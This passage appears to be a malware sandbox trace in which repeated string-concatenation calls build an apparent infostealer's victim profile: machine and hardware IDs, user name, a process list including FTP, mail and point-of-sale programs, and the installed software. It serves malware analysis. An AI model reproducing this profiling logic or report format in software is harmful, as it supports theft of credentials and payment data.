iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 ["
[0054.979] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [", lpString2="12.0.30501.0" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 